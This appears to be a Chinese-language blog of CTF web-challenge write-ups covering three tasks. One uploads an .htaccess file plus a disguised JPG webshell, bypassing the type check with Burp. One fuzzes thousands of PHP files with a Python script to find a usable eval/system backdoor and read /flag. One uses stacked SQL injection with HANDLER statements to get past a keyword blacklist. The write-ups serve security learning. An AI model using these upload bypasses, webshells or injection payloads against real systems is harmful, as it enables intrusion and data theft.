MRCTF2020]你传你马呢
.htaccess文件简介:
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
打开apache的http.conf文件
找到的AllowOverride None,将其改为AllowOverride All
打开.htaccess文件写入:
SetHandler application/x-httpd-php
这语句的作用是让Apache将其他类型文件均以php格式解析
流程:
上传.htaccess文件
用burp修改Content-Type为Content-Type: image/jpeg
上传.jpg文件马
蚁剑连接http://xxxxx/upload/xxxxx/shell.jpg
在/目录下有flag
ps:
考虑到文件上传姿势比较多,如果一个个试很浪费时间,所以这里找了个php文件上传的字典
[强网杯 2019]高明的黑客
下载下来,3000多个php文件。
仔细看看,可以看到有GET和POST,还有eval,应该是木马脚本,那接下来就是要从3000+的脚本中找出可以使用的脚本。看看那个shell能够利用
将文件夹放在PHPstudy的网站根目录 /WWW 内,运行下面的脚本,得到文件xk0SzyKwfzw.php 和利用的 GET 参数 Efa5BVG
python代码
import os
import threading
from concurrent.futures.thread import ThreadPoolExecutor
import requests
session = requests.Session()
path = "/Users/jinzhao/PhpstormProjects/qwb/web2/" # 文件夹目录
files = os.listdir(path) # 得到文件夹下的所有文件名称
mutex = threading.Lock()
pool = ThreadPoolExecutor(max_workers=50)
def read_file(file):
f = open(path + "/" + file); # 打开文件
iter_f = iter(f); # 创建迭代器
str = ""
for line in iter_f: # 遍历文件,一行行遍历,读取文本
str = str + line
# 获取一个页面内所有参数
start = 0
params = {}
while str.find("$_GET[‘", start) != -1:
pos2 = str.find("‘]", str.find("$_GET[‘", start) + 1)
var = str[str.find("$_GET[‘", start) + 7: pos2]
start = pos2 + 1
params[var] = ‘echo("glzjin");‘
# print(var)
start = 0
data = {}
while str.find("$_POST[‘", start) != -1:
pos2 = str.find("‘]", str.find("$_POST[‘", start) + 1)
var = str[str.find("$_POST[‘", start) + 8: pos2]
start = pos2 + 1
data[var] = ‘echo("glzjin");‘
# print(var)
# eval test
r = session.post(‘http://localhost:11180/web2/‘ + file, data=data, params=params)
if r.text.find(‘glzjin‘) != -1:
mutex.acquire()
print(file + " found!")
mutex.release()
# assert test
for i in params:
params[i] = params[i][:-1]
for i in data:
data[i] = data[i][:-1]
r = session.post(‘http://localhost:11180/web2/‘ + file, data=data, params=params)
if r.text.find(‘glzjin‘) != -1:
mutex.acquire()
print(file + " found!")
mutex.release()
# system test
for i in params:
params[i] = ‘echo glzjin‘
for i in data:
data[i] = ‘echo glzjin‘
r = session.post(‘http://localhost:11180/web2/‘ + file, data=data, params=params)
if r.text.find(‘glzjin‘) != -1:
mutex.acquire()
print(file + " found!")
mutex.release()
# print("====================")
for file in files: # 遍历文件夹
if not os.path.isdir(file): # 判断是否是文件夹,不是文件夹才打开
# read_file(file)
pool.submit(read_file, file)
跑出来以后直接查看
xk0SzyKwfzw.php?Efa5BVG=cat /flag
[GYCTF2020]Blacklist
堆叠注入
handler语法
句柄
handler table_name open; ... //获取句柄(表名)
handler ... read first; //读取第一行数据
handler ... read next; //读取下一行数据
通过它依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果
handler FlagHere close;# //关闭打开的句柄
注意:HANDLER查询性能比SELECT更好
步骤
提交 1’ 报错确定存在sql注入
提交 1’# 返回正常(字符注入)
提交 1’select# 返回黑名单
禁用了一堆东西
select被禁用,联合注入行不通
考虑堆叠注入 堆叠注入详细步骤与事项
0'; show databases; #
0'; show tables; #
1'; show columns from tables; #
爆出库名,表名,列名
由于禁用了prepare,rename
预处理方法,重命名方法都不行
试着用一下以前看到的handler语法,发现可行
payload:
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
读第一行数据,读到了flag
payload2:
1'; handler
FlagHereopen as
a; handler
aread next;#
依次往下读取数据。读出flag